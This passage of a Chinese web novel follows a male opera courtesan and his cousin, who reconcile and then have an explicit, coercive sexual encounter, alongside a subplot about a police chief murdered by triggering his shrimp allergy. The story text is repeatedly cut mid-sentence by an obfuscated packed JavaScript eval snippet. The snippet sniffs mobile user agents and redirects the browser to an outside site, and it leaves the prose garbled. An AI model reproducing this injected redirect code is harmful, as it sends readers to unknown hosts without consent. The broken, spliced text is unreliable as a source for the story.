隔着胶皮车,一个女学生笑着掷了个包裹沙果的帕子给另一辆车,打在装教材的皮包上,“咚”一声响。 他的心也“咚”一声,沉沉地落进深渊。 “……不远就是圣玛丽亚女中,算是孟家能荐的最好的。只是也最贵,一月需支四五元。” 玉关柳说了一气,未得回话,侧头,双眼中放出些虚伪的了然与同情来:“小莲儿,这回,你知道了罢。” 他知道,他怎么可能现在还想不明白? 一日勾栏,终身是勾栏,难道要表妹同班的女学友,知晓她有个勾栏院里的爱哥哥么? 一行清泪从颊边落下。周莲泱依着扶手,身体几乎要滑落下去,仿佛领略不住这秋的凄寒。 凄寒,凄寒,风又早早领会冬意,冷冷地侵过来了。 ——自此一遭,周莲泱便决意与乔璃分隔。 正好她忙,温水煮青蛙地,一点一点搬离阁楼。二楼本来就还有两件供荤角接客的屋室,装潢反倒比阁楼精美许多。 只是冷,又空又冷,空冷得他止不住掉眼泪。 哪怕钟铭来劝,柴凌翠隔门叫骂,哪怕被乔璃扯着袖子质问,周莲泱也不曾动摇决心。 莲二爷固执起来,十头牛都拉不回来。 名声——一个好名声,对人活下去,是多么重要啊。他之前都在做什么?他已如此了,难道还要拖表妹一起吗? 白日正常做活,晚上尤为残酷,噩梦卷土重来,总是让他尖叫着从梦中惊醒才罢休——慢慢会习以为常的。 直到—— 直到又是一日旬休,他饮多了酒,深夜才从外归来,被钟铭一把抓住手腕。 微光中,白面小生的脸竟狰狞如罗刹。 “乔璃已高热三夜辗转不退,不醒也不理人,昏迷中只叫你的名字。” “周莲泱,你……真敢狠心不管么!” 20. 拾玖 旧日如戏 周莲泱无法将眼睛从乔璃脸上移开。 她的脸埋在枕头里,晕着一片一片病态的酡红,额发被汗黏成许多小绺儿,粘在颊侧。面颊好像早瘦下来一圈儿了,原本丰润福相的下巴收成一个窄尖。胸口拉风箱一样艰难地将空气吸入,沉重凄长。 他浑身打战地跪在她身边,伸出手去揽她的肩膀,触手便被烧烫的温度唬了一跳:火炉似的烫得怕人!这样竟一气烧了三天么? 他唤了几声,只是没有回应,药怎么都灌不进去,由热变凉。 据钟铭说,玉关柳也来瞧过一次,面色极阴沉,什么也没说便走了。 周莲泱伏身去揽她的肩膀,把额角抵在她胸前,眼角已渗出泪来:“囡儿……囡儿你醒一醒,病成这样,不肯吃药怎么行?” 烧成这样,要是火毒入肺,变成肺炎,她的身体怎么受得了? 他握着她热而虚弱的手,饱含的泪掉了下来。在担忧与焦急下,还有一种不断烦扰他的、贯彻心肺的痛责:乔璃这病,是不是因他而得的呢? 转瞬,周莲泱心底又转出一种奇怪的自嘲——多么自作多情的想法!瞧这阁楼,所有属于他的东西已一点不剩,就像他从来不曾居住过一样。 他蜷缩起身体,把脸靠在乔璃手心,断断续续地哭起来。片刻后,埋进去的柔软,轻轻碰了碰他的下巴。 周莲泱猛地抬头,乔璃正睁眼睛看着他,眼周红中发青,与火烧的脸色相对照,眼睛显得特别黑:“表哥……” “囡儿?”他探身过去,试图听得更清楚,但乔璃将目光移开了。 她不愿看他。周莲泱心口一阵绞痛。 “囡儿,没来看你,是哥哥的错。你……你先喝药,吃一点东西,好不好?” 她漆黑的一双眼凝视着他,这样看了很久,像在很迟钝地思考什么。乔璃素日聪敏机慧,周莲泱哪见过她这样,一时急得不知如何是好。 乔璃这样一动不动很久,忽然开口,声音哑涩:“……表哥不要我了,是么?” 周莲泱脸白得像一张纸,强自挤出一丝笑:“囡儿怎么会这么想?” “是因为我搬走了么?平日待客……总不好天天半夜上楼下楼的,若往后有新人进班,二楼的屋子要不够分呢,先占住一间才行……” 乔璃的眼没有动,神色也未有变化,双颊那样烧红着,按捺隐忍着许多他不知道的痛:“表哥不要我了。” 他双腿一软,神情失魂落魄,嘴里仍顽固:“不……我没有不要你……囡儿,囡儿你听我说,你是要入女学的,我不能再跟你一道。你难道想要以后的同学,都知道有个当男伎的哥哥吗?” “那是不行的,一日为伎,终身为伎……我不能带坏你的名声。”周莲泱头脑清晰了一些,将他所得出的结论一一道来,“囡儿聪慧,玉关柳赏识你,愿意替你打点去女学。上了女中,再如孟家闺秀一样去读大学,留洋,有大好前程,我也就不负姑姑所托了。” 床榻仿佛形成一方小小的密闭空间,空气也近乎凝固。 周莲泱低头,急促的喘息声清晰可闻,但口中话语从未这么清楚流利地倾泻而出。这些话他酝酿了很久,用心头鲜血酝酿,一朝倾吐,仿佛连魂魄也一道抽出,余下只是一枚空虚的躯壳。 这样最好。他反复嚼着口中这颗汇聚一切痛涩的苦核。桥归桥,路归路,表妹有阳光大道可走,何苦与他一起趟泥泞呢? 这样最好,这样最好,可为何他的心这样痛,这样委屈,这样不甘愿? 他又有什么资格不甘愿? 乔璃的手又动了动。 周莲泱攥紧她,希冀地望过去:“囡……乔璃,你明白了么?明白了便吃药吧。” 兀地,她笑了笑,捂红的脸透出一种又硬又凉的黯倦。 “所以表哥就是不要囡儿了,是么?” 唇边笑依然灿烂,周莲泱才发现她眼里已蓄满泪,微微一晃,便滑落面颊,浸出一线萧索。 “既然表哥不要我。我早该死了,你不用理我,便如此罢。” 周莲泱一时惊住,觉得呼吸都停了,胸府中翻搅起百般不解、千般疑惑——她不是最聪敏么,为什么不懂,为什么不通?大好前程不要,为何偏扑死在自己这样一个废人身上? 他陷入污泥,她也要跟着陷入?可女子那般脆弱的身骨,被抛进流言蜚语,人尽可欺,岂不是一下子就碎了么? 见他许久不说话,乔璃强自挣下床榻,周莲泱慌忙扶她,却被一掌拍开。她踉跄两步,从放衣物的箱笼中抽出一张软布,揭开。 一张朱红色的纸,铺过金粉之处可看出老旧,墨色晕染,想来历经时间的风波。 上书[1]:喜今日嘉礼初成,良缘遂缔。诗咏关雎,雅歌麟趾。瑞叶五世其昌,祥开二南之化。同心同德,宜室宜家。相敬如宾,永谐鱼水之欢。互助精诚,共盟鸳鸯之誓。此证! 订婚人周莲泱乔璃。 乔璃长发披散,赤脚于地,双手捧着婚书,望向周莲泱,口里轻笑着:“当初逃难时,除银票外,我还带了咱们共结连理的证明。表哥既然为我卖身,我便将其藏起,不叫你忆起从前,看了只会心伤。” 周莲泱绷紧如琴弦的心,因这句话一下子断开! 那婚书——那婚书,记载了他生平所碰见的最鲜亮、最温馨的记忆,他没想到那等紧急之刻,乔璃会将婚书也带上。这是不是也意味着,她同他一样,那么深切地爱着彼此呢? “今日之事,若反过来,我因外人挑拨之言,狠心与表哥断绝,周莲泱……你怎么想?” 怎么想……怎么想?若乔璃也如孟彩霞、如那个妈妈一样用烦恶的视线看他,他真不如一死了之! 己所不欲勿施于人。周莲泱眼睛慢慢睁大,觉得前几日自己似是陷入了一个奇怪的漩涡,他都说了诛心之言,做了多少诛心之事? “可女学……”他嗫嚅一句,乔璃却好似在等他这句话一样,将婚书往前一递。 “我不管女学、戏班,身份,我只知道一件事——表哥下次不理我不要我之前, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615140|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记得先把这婚书烧了,把我的心剜出来罢!” 我怎可能做那残忍之事! 不知为何,周莲泱已完全无法控制自己的心绪:面对被侵/犯被当做物件赏玩的种种,唯一调解之道便是乔璃的安抚。离开她身边,近日来违心言行积攒的高压、痛苦与逃避早已将他彻底压垮了,靠着莫名其妙的顽固挺到现在,理所当然迎来全然的崩溃。 他跪倒在地,手胡乱在衣襟前撕扯,因为心口像被撕裂了一样痛楚着。他不知从前的少爷是自己,还是现在的雀儿是自己,又谁可信,谁能信—— 乔璃走到周莲泱跟前,跪下身,双手用力将他搂抱入怀。 他依着她的肩颈,哭得浑身都微微发麻,声音微破,水盈的一双杏眼雾雨凄迷:“……我到底该做什么?我到底该怎么做?” “我从前便同表哥说过,只信我便好,为什么不听?” “我……我信囡儿……我信……”他抽噎中杂着轻咳,被一只柔软的掌顺着背,又轻拍几下。 “表哥发誓,今后再不能对我隐瞒任何事。你我之间,再不能有秘密与误会。” 她现在已能理解他的大部分感情变化,只应用还是吃力。能辨别谎言,却不能完全准确地摸着他的心思,只好快刀斩乱麻。 “我发誓!我以后再也不听别人的话,有什么心思,都和你说……” 终于,他的话语与心中真实相符。乔璃拿出帕子揩他眼下的泪,抹去一边,令一边又倏倏落下。眼泪流不尽似的,将他的脸浸出一种白玉也发不出的清涟。眼角哭肿的烂红,亦抹开燕尾似的长痕。 指尖顺着他汗湿的额角下滑,她捧起他的脸颊,吐息微颤,用唇轻轻描摹那抹芙蓉艳色。 气息交织,他的眼角火烫,她的唇亦滚烧着。摩挲一般的轻吻,渐渐加重,如两块闷燃的烙铁,紧紧印在一起。 被这样吻着,触碰过的皮肤就有如烫伤一般灼痛,周莲泱不自禁向后退却,却被扣住后颈,更深地咬进去。 她在他的眼尾唇角留下两枚不深不浅的牙印。有一点疼,更多是蚀骨一般的痒,温柔而缠绵的痒意从眼角烧入骨髓。他在这种近乎将人溺毙的温柔里哭得更厉害,依着她的胸口,小兽一样轻蹭,想要钻进一处由她构筑的安全的黑暗,躲在里面,永远不出来。 蓦地,两人身体骤然一空,向后靠,周莲泱将乔璃压在了床侧。 若不是他眼里还闪着懵懂无措,这样看过去,倒像他因为急色而迫不及待地求欢了。 “对不起,囡儿,你没伤着吧?” 他波粼粼的目光与她的目光碰到一起,羞涩愧疚地闪开,又想查看她是否无恙。 “啊……”她的背磕了一下,用手把住他柔软湿润的面颊,无奈浅笑。 她今日实在虚弱,若非如此,必然…… “表哥,待我病好,你认不认罚?” 周莲泱微微苦笑,苦中又夹些许痴意,扶住她的颈与腿,将人抱回床榻:“认。自然认,表妹病好,我什么都认……” 21. 贰拾 金戈相交 晚秋,蓝阴阴的月亮高悬于空,万里无云的晴夜,被秋色与蓝月浸出一种诡秘的哀愁。 夜已深,主屋还亮着灯,玉关柳穿着白衫子,雪灰的棉坎肩,底下一袭月似的阴蓝的平金马面裙。 她把手轻移茶碗的碗盖,双眼微阖,声音里罕见地含了不耐:“不见。” 来通报的厨娘噎了一噎,目光移向坐着给她捶腿的严雪辕,索性把抹布一抛,叉腰斥道:“小女孩儿病刚好,前来道安尽孝,你还真狂得把自己当甚么太后娘娘了?” 厨娘熊槐胖得如一团肉,又矮,一跺脚,地板仿佛都震颤起来。玉关柳将手中茶碗一磕,冷笑了两声:“身虚体弱还敢为个男人大病一场,玩苦肉计的傻子,我玉关柳不想见,更不屑见。” “你甭跟我白话,不见也得见!” 熊槐把门一拉,手一拽,乔璃便被拽进房门,脚下一滑,差一点跌到地上。 她眼疾手快,扶住八仙桌,翻转身体站稳。熊槐有点讪讪地看着她,举起手:“咋觉得你还没个铁锅重?” “好了,快滚。”玉关柳突然垂下了头,按着一跳一跳的额角。“雪辕,你也出去。” “嗳。”严雪辕站起身,她好像又长高了,笔直笔直如一杆枪戳在地面,“娘,那我走了。” 两人离开后,屋中当即一静。 乔璃揉揉腕子,自顾自找了张圈椅坐下。玉关柳余光扫过她的脸,不似想象中大病初愈的苍白,倒有种气血充盈的暖红。 她眼皮一抬,又道:“怎么,不打算拽着你情哥哥一道死了?” 大哭大闹一通折腾下,周莲泱还躺在床上低烧着,病得要死要活的乔璃倒恢复原样,怎么看怎么古怪。 玉关柳这边语气不愉,乔璃却古井无波:“我的病已经好了。” “本就是引出病根的最后一副药,没有此事,也要烧上三天,清除体内久淤的药毒。” 玉关柳忽然抬脸,眼中迸出精光,露出一个讶喜的微笑:“当真?你不是在故意害自己?” 她话淡淡的,脸上也无甚表情,与平日讨喜笑靥大相径庭:“嗯。” 女人神色玩味,却把双眉一蹙,嗔道:“冤家,你还在怪我不成?你可知我为你入女学之事求了多少人,腿都要跑折,欠了孟家好多人情。好孩子,还不过来给你柳姨揉揉肩,捶捶腿?” 乔璃起身上前,手按住玉关柳两侧肩颈,下手揉捏,通络淤堵的筋理。她手按过来,倒将玉关柳唬一跳,心想这人莫不是想掐死自己?想着,那只手果然顺势往上移,爬到后脑某处,点住一处穴窍。 还挺舒服。 “胡小望是我与翠姊一道杀的。” “不好了,你杀了人,饮过血。现在要动手替你表哥出气?” 乔璃没有理会玉关柳的装腔作势:“你知道他是怎么死的么?只读报纸,可看不出底细。” 这话搔到女人痒处,毕竟报纸上只登“胡小望命丧跑马场”一事,其余语焉不详。 “说是骑马打球时突发头风,梗阻暴死。” “对,倒也不对。胡小望看似高大粗壮,从军练出一身硬功夫,可他本是过敏体质,早年强健,年纪大了,免疫力便弱下来。” 这对玉关柳而言是个新鲜词:“过敏体质?” “对某些食物、粉尘,甚至天气反应强。拿胡小望来说,吃多了酒、海虾、鱼、蟹,就易引发荨麻疹。” 乔璃一下一下揉着玉关柳的肩膀,声音冷而幽,伴着蓝阴阴的夜,凉丝丝的风,平添许多寒气。 “……尤其是虾。” 玉关柳自己也得过荨麻疹,闻言心尖微颤,凝眉道:“虾?” “不错。我让翠姊拐弯抹角荐了几家酒楼,擅做时令海鲜,其中便有白灼虾子,清蒸海蟹。胡小望吃虾饮酒,吃得痛快,便要跑马。柳姨可知,这过敏体质如此折腾,吃海虾、吹冷风,再剧烈运动,会怎么样?” 女人咽了一口唾液,曼声道:“你说怎么样。” “血液逆流,喉头水肿,风团遍体。胡小望不是得头风而死,是被肿大的气管活活憋死的。” 乔璃松开玉关柳肩膀,慢慢踱会圈椅,不坐,手抚在油润的实木靠背处,就这么瞧着面前的女人。 玉关柳叹了口气,敛尽玩笑之情,语气转和:“便是穷尽我严家上下能为,也再找不到比你这不见血的杀人法子。更妙的是,前后周折,一点也联系不上柴凌翠,更找不到泰春班头上。实在是一桩再圆满不过的杀人案。” 女人垂眼瞟一下指尖蔻丹,慢道:“小乔儿,你为什么还不问我?” “问什么?” “为什么我要柴凌翠,一个优伶伎女,去想办法杀高高在上的警厅厅长。” 电灯静静地流着,沉夜如一片梦幻甜蜜的毒汁[1]。 不知从哪里飘出一丝轻笑。玉关柳余光瞟去,乔璃面色仍是宁静。 “我不必现在才问。”乔璃淡道,“在我见到你与甬明商帮往来,甚至与孟厚信有交时,早便自问:凭什么一个优伶伎女,能得商帮领头以礼相待?” 玉关柳忽然纵声大笑。 顷刻之间,她面上早已沉入肤骨、如烟拢雾罩的凝愁已全然散尽。一股复杂的暗色上了脸,居然溢出些少年人才有的浮狂骄慢:“我凭什么?” 乔璃无惧她压来的气势,直直道:“你是一把刀,泰春班也是一把刀,一把替甬明商帮杀人清路,攫取利益的刀。” “好!”玉关柳一震茶桌,“小小年纪,居然从蛛丝马迹中循得关窍,不枉我如此欣赏你。所以你也应当能想到,我为何要执意拆散你与小莲儿,要拆散柴凌翠与朱楼。” “女子在世,本就比男人苦得多。想利用自己的本事往上爬,又妄动情思优柔寡断,只会害了自己!” 乔璃冷道:“你的意思是,这是为了我们好?” 玉关柳颔首:“当然。女子以色侍人,色衰而爱弛,自古如此。严树明与我,合作之谊远胜美色,才有今日的玉关柳。” “夺友之夫做登云之阶,便是以色侍人,也堪赞一声好侍。” 女人的神情在乔璃说出这句话后,终于透出几分真实的愠怒:“你说什么?” “我说什么,柳姨心中自有杆秤:严班头本是谁的未婚夫?是谁曾不论身份,将一优伶歌女引为挚友,真心相待?是谁傻到,居然豪杰不问出处,使未婚夫与秦淮歌伎相见?” “敢问柳姨,可还记得那傻乎乎友人的名字?” 玉关柳望向乔璃,见她面上微微冷笑,知道今日就在这里等着自己。可她虽然做好准备,心中到底一堵:“我当然记得……吴铁音。” “不想你们入铜陵,碰见第一人居然是她,紧接着找上我,当时就觉得是一段孽缘。” 乔璃没有理会她的感慨,继续道:“李公本是旧朝造办处一小官,结了些人脉势力。唯一的儿子早逝,只剩一个孙女,便求孟家帮忙相看,相中严树明。那时你恩客不少,却缺一条严树明这样脾性背景都合适的登云梯,使百般巧计、千种花样,终于把人抢到手里。” “……你非步步为营精心布局才取得今日地位,而是音大姐真心相待却认贼作友,惨遭反噬,才有今日的玉关柳。” 玉关柳嘴角下撇,强忍着不要动怒,左手紧紧攥着桌上紫砂壶:“……好,好,好,我服你牙尖嘴利。我令你不痛快,你要在我身上找回,我认了。还有什么可拿来抨击我的,不如一道说出来!譬如过去那个上吊小生?吴铁音应当与你们讲了罢?” “可你也不想想,若我正如她口中说的那样,是反咬农人一口的毒蛇,冷心冷肺全然无情,你严班头并非蠢傻之人,怎会待我一如既往?” 乔璃不似想象中的义愤填膺:“这件事,我当然也仔细问过严班头。他将一切事责揽在自己身上。” ——“那是我们第一次试水暗杀,以离间计挑拨霓国人关系,那小生不知机密随意插手。你柳姨非是无情,而实在是别无他法,后面还念着要替小生报仇。”严树明醉道,“至于……男子变心,何苦责怪女子?是我对不起铁音。” “……可到底,一人因你而死,一人因你再无欢愉。” 听乔璃如此说,玉关柳唇角忍不住悲凉地一翘,似是往昔浮华堂皇下的黑暗卷着无数悔恨懊恼,沉沉地打过来了。 “你说得没错。” 灯影下,她那么松松倦倦地将颌角往手背一抵,松扎的髻垂落几分,掩进去的容色便淹进窗后蓝阴阴的月光。 玉关柳轻抚手中紫砂壶,静静的靠在美人榻上,似已被旧日的疲倦淹透——她已彻底倦于为自己辩解,倦于同整个淹没柔弱女子的世俗偏见对抗。 “你瞧这壶……是铁音赠我的。她赠我的、还留下的,只有这一件了。我需得为那日谢谢你——未教这壶摔碎在地。” 她看向她,眼中露出了一点深浓的怠:“这壶就是我的悔,我终生避不开的烙印。你若想听,往后我再同你讲一讲那些……旧事。乔璃,我不会再对小莲儿说什么了。你去罢。” 乔璃并没有依言而去。 这年青的女子似也有些倦累。也是,毕竟刚狠狠发过一场烧。 她侧身而站,半边的脸浸着灯光,晕开一种良善的慈悲。另半边脸背着光,只现出一只乌沉沉的眸子,正闪烁着异样尖锐的锋镝之色。 “悔么?严班头应该不知道,你手里的紫砂壶,制式手法,非我国人所作,是霓国人学去、又仿不准真意,捏出来的花巧。” 玉关柳心尖狠狠一跳,微惊地看着她越来越上扬的唇角,在无邪的脸庞上勾勒出险恶的魔性。 “我问遍制壶人,那应当是奉天常用的纹理。柳姨,虽然连音大姐都说你是江宁人,其实不然,你来自奉天。” “你在严班头面前日日对着友人旧礼怀念往昔,就为了装出一副心怀悔恨的模样。可笑。你玉关柳真的会因抢夺友夫而愧疚不成?那壶,是你仇人的旧物才对。” 玉关柳发觉自己冰凉的指尖在微微颤抖,可面对那双笃定无比的黑眸,巧舌如簧居然发挥不出一点作用。 此时,谎言无用,只有继续亮牌。 “我的仇人?小乔儿说的越来越玄乎,可我来自奉天又如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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女人霍地抬头,双眼眯起:“你告诉柴凌翠……不,不是泰春班里任何一人,难道……你竟敢……你竟敢告诉吴铁音!” “小乔能信任的,自然只有音姐一人。”乔璃颔首,“三日前,我便书信一封,借严班头的商船,送去铜陵了。” “若我久无音讯,音姐自然会告知甬明商帮。” 这下玉关柳像被抽走了骨头一样,扶着额角歪倒下去,无力地叹了口气:“小乔儿啊小乔儿,你可真是要了你柳姨的命……” “这下,柳姨终于该……” “我不动周莲泱,我再不动他,这回你剥了我一层皮,下一次可要把我的肉剜出来了。” 乔璃眉梢轻挑,面色已恢复惯常的平静:“柳姨误会了。胡小望死后,他的位置自然有更合柳姨心意之人替换。但往上求索,乔璃寡闻,不知势力分布。我只想问,柳姨最后想要示好押注,能够与张巡为敌的靠山,到底是哪一位?” “你知道这个做什么?”玉关柳沉吟片刻,心中有所猜测,却依然不可思议,“你想入局?” “仅凭现在的柳姨,是不可能复仇的。”乔璃唇畔笑意柔和可亲,真似观音座下童子,“暗杀大统帅?靠泰春班,你一辈子都做不到,只会颠覆于乱世。” 玉关柳的头真因为疲惫而开始阵阵作痛了。 “喂,凭你一个刚及笄的小姑娘,说两句胡话,就想抢我的位置不成?” 乔璃轻叹:“怎么可能?柳姨手里捏着我最重要的宝物。今夜的话,若柳姨想有所转圜,乔璃所为,也不过是空谈而已。” “托柳姨的福,能入女学,小乔知足。但我想要对方的名字。” 玉关柳瞧着她很诚恳的脸,恨恨一声:“你要名字?好,我给你,他是青帮达字辈、半个海市都握于其手的大人物,裴大董裴宗邺!” 裴宗邺。 乔璃把这名字在唇齿间磨了几遍,还想问什么,却看见玉关柳轻轻摇颤,有些湿凉的眼。语句一转,她对玉关柳行了个礼:“今日乔璃叨扰过久,柳姨见谅。” “见谅,见谅你个……”玉关柳把半截话吞回去,挥挥手赶人,“快滚吧,快滚吧,这几日莫要我瞧见你的脸。” …… 灯灭了良久,月儿颤颤,星子闪耀,苍白从天幕一线亮起。 玉关柳梦了半个夜,梦麻木而狂乱,到处都是使人晕眩的、不愿回想的记忆。 烟柳画桥,秦淮河畔,有一个沉稳又清亮的声音,把一个问题重复再重复。 ——“你叫什么?” ——“玉关柳。” ——“我知道你叫玉关柳。我问,你的本名叫什么。” ——“我没有本名。” ——“你又骗我。不过没关系,我总有一天会知道的。” ——“你为何如此执着一个伎女的名字?” ——“你怎么还觉得我把你当伎女!我们明明是……” 我们是朋友! 22. 贰壹 有心无情 好难受。 周莲泱失神地望着身上压来的这个人。她的手握在他的脖颈上,牢牢卡着,介于快令他窒息、却又隐约能维系住一丝空气的程度。她又低下头来,牙尖叼住他的喉结。生死脆弱之处置于危险,他开始感觉晕眩。 惊恐之下,他想要向后逃窜。一挪动,某种邪恶过分的东西又不住地趔趄,逼得他转换身位。 他简直像自己将自己的颈子送入乔璃口中似的。 她自然笑纳。牙齿一收,咬住微凸的喉结。 周莲泱闷叫一声,泪珠簌簌往下掉落。眼前爆开一片炽热的白光,惊颤得不像样子。一头被兽夹捕获的鹿。 乔璃把喉结那块亲得红肿,透出些靡靡。她欣赏着,亲昵地揉揉他的发。 水红的绉纱绸铺在两人身下,将青年肤肉衬得如羊脂白玉。他面色像是吓得煞白,颊侧唇角又晕着异样病态的嫣红,嘴角不知为什么破了一小块,沾着不明显的血渍。 少女的手顺着他肩膀下抚,像是想把他的每一寸都攥进掌心。 青年眼角落一串泪,虚弱无力地瘫软下去,眼睛迷乱地向后翻。下颌被一把抓住,乔璃鼻尖微动,彼此的气息混在一起,分辨不出彼此你我。 一只小金夹在视线边缘闪烁。这金夹做得精巧,长尾牵着一串小指长度的金链,坠一只铜丝与乌金纸拧成的蛱蝶,被那么一拨,就呼啦啦地翩跹起来。 “囡儿……囡……夹头发,实在疼,饶了我……” 一声若有若无的叹息贴着他的耳畔荡开。 乔璃将扯到他头发的夹子松开,放轻力道揉了揉头皮。周莲泱紧闭双眼,双臂扣在她肩后,眼睫湿漉漉的如被雨浇透的蝶翼,啜泣声糊在一起。 “表哥,我还没开始罚你呢。”她试图擦干他的眼泪。 莲花长在水中,所以也是水做的么? “……这么委屈?” 周莲泱摇摇头,右手循了她的手,穿过她的五指,紧紧相扣。他没料到自己会哭成这样,感觉很愚蠢,就像个废物。 半个时辰前乔璃来给他换药,发烧是因为自己不到位的清理引起的。换完药,又塞入一块泡过药汤的暖玉,温养不该作为承受之用的地方。 然后他扯她的发带、勾她的肩,带着不自信的犹疑,求她惩罚自己。 乔璃依言照做。 暗下来的灯影中,他看见乔璃透深的眼眸中反出一丝危险的淤泥色的黑影。她招手示意他靠过来,某些熟悉的情绪隐去了,有别的东西取而代之。周莲泱不能辨别出那是危险,还是某种真正吸引他的…… 黑暗如此凶猛地涌来,仿佛要将他溺毙,但他摒弃了对溺水的恐惧,敞开身体。黑暗吞噬了他。 其实没有什么疼痛。她不会伤了他。 黑暗被他引诱,却又慢慢停止。因为他哭得停不下来。 乔璃唇角勾着自己也不知晓的弧度,让他在自己肩头稍作休整。 黑暗不断销蚀着猎物的意志。她轻柔地抚摸他微张的唇,花瓣被残忍地撕裂了,被揉碎了,渗出清香的蜜汁。 他的呼吸轻而急,带一点抽噎,呼出药味,末了又有一丝甘甜。这两日他总是反应过激,因为心灵受到创伤,变得易受惊吓。 很可怜。 她等着他主动献上自己。阁楼里光线很昏暗,无法分辨具体时辰。由于这种不分明感,好像世界只剩下两个人。 周莲泱听她平稳中略带急促的心跳,靠她的心跳弥补平静,然后亲吻她,那是一种献祭式的亲吻。 不安仍凝在眉眼之间,为那精致似雕刻出来的五官蒙上一层暗影。 纤直漂亮的脖颈微垂着,膜拜一般,轻柔虔诚地亲吻她的双唇。 乔璃一把扣住他的手腕,往下压,揽着他腰身的手拽起水红的纱绸,使他背对自己。 周莲泱知道接下去要发生什么,没有继续哭,只是红霞从脸颊晕起,呈蔓延之势,一直烧过后颈。 乔璃凑近,他伏着身,微不可见地颤了一下。 既青涩,又染着一种被过早催熟的放/荡,如同湿漉漉蜷起的花瓣,里面藏着一颗谷欠求不满的蕊心。 “……表哥,我要开始罚你了。” 她在他耳畔低笑一声。惯常的微笑渗出一丝弦外之音。周莲泱觉得怕,把脸往臂弯深处埋,听背后窸窣,让他头皮一下炸开。 他感觉自己像一副空壳,而掌握着空壳的人正往内灌入澎湃的黑暗,大脑和心灵只有随着掌控者的移动而移动,聚合,分散。 周莲泱呜咽起来。 无止境的啄吻,她像是要把他揉碎了,吞下去了…… “周莲泱……表哥……” 她抬起脸,浸透微汗,双唇红润如朱,仿佛刚吃了个半饱的母狮,饥渴稍退,眉间流出一丝慵懒。 他低低应了一声。她干哑的声音又落下来,烧他的耳朵:“雀儿,给我唱两句。” 忽有一柄刀割过心头,他捂着骤然喷涌鲜血的伤口,恍惚如大梦初醒,竟有肝胆俱裂之痛。 “你……要我唱?这个时候……” 周莲泱竭力转身,不可思议地瞧着乔璃。他想问为何她要如此辱他,想问难道她也将他当做一个玩物对待。 乔璃眸中含着些柔软的笑意,有些疑惑,有些不解地歪了歪头:“表哥?” “我不……我不唱。”周莲泱不知自己是怎么发出声音的。“我不是雀儿。” “嗯?”她眼里转出些不上不下的迫切,“可我想听,我想听表哥唱。别人听得,我听不得,这是什么道理?” “我不……啊!” 她在惩罚他,因为他拒绝欢/好时唱戏。 屈辱与痛苦一同蔓延心头。周莲泱像一只被折了双翼的金腰雀,失了飞翔的能力与心气,蜷在她掌间。无论怎么折磨,都只会低低哭泣,仿佛除了流泪,再没有旁的手段抵御春潮的冲击。 “你把嘴唇咬破了。”乔璃掰过青年的脸,暗色的眼巡视一番,气息微沉。 他轻颤一下,肩膀战栗不止,腰微微侧起,露出腰眼一处旧伤。 看见那处伤,心尖有种被灼烧的错觉。乔璃按了按胸口,游刃有余的心慢慢落地。片刻清理后,她抄着那袭柔软的绸纱,从后将他裹在怀里。他的后颈被她的唇触碰过的地方开始发麻。 她吻住了那处伤疤。 周莲泱无从判断那是一种温柔的珍视,还是无情的戏弄。他蜷缩于床,另一半在她怀里,眼泪顺着脸颊一路绵延,淌过下颌,滴在她的手背。 “表哥,你不愿意,就不唱。也可以不做。但你不说话,我不知道你为什么生气。” 手指绕进垂落的发丝间,轻轻扯了扯。 “……你也把我当玩物?当一个随意捏扁搓圆的伎?” 他的声音里浸着乔璃不理解的苦痛。 “我没有把你当成玩物。”乔璃蹙眉,努力猜测他的意思,“表哥,你给别人唱戏,为什么不肯给我唱?我没有辱你的意思,只是想听,所以就问了。” “雀儿这个称呼,我也很喜欢。表哥的一切我都是喜欢的。你不是玩物,但你是……你是我的东西。你答应了的,那张婚书,你卖身护我,难道不是爱我?”她握住他的手,五指叠在一起,然后把人搂得更紧。 “表哥难不成反悔了?” 周莲泱似是不信,也不敢相信,自己的心好似时刻处于一种不稳定的犹疑状态——他相信乔璃,又不相信人性。 “……你不觉得我脏么?我在你床上唱,你不会想到,我在旁人床上也这么唱?不会想到你碰过的地方曾是多么脏淫吗?” 乔璃神色很是费解,这并不是一个有趣的,或是值得思考的问题,玩弄他细长如葱节似的手指,都比这有意思。 “表哥恨那些折磨侵/犯你的人,我也记着他们,日后你想,全杀了了事。我知道世人觉得伎子脏,但我不懂为什么脏。你没有得病,常常沐浴,比旁人干净得多。为什么不觉得女票客脏,反觉得你脏?” “若说人言可畏……这确实是一桩事,也只有唯一一种办法去解决。”乔璃叹了口气。“未恢复记忆之前,我实在太过软弱愚蠢,那么明显的事摆在面前,偏偏串联不起来。” 她声音虽低,砸进周莲泱耳里却宛如惊雷:“恢复记忆?” “唔,这说起来可就复杂了,一定要今日说吗?” 乔璃有些贪馋地望着他的颈子,周莲泱恼得翻身下地,扯了外袍,将自己严严实实遮住,沉气道:“说。你的病,你与玉关柳的事,所有。” “还是说,你之前让我发誓,两人间再无秘密误会,都是一场空言?” “当然不,只是我的记忆,说出来恐怕很吓人。”乔璃无奈。 “先讲我这个病吧。其实它并非疾病,而是我的身体供应不上大脑的需求。表哥知道吗,对常人而言,大脑只占人的体重百分之二,都要消耗四分之一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 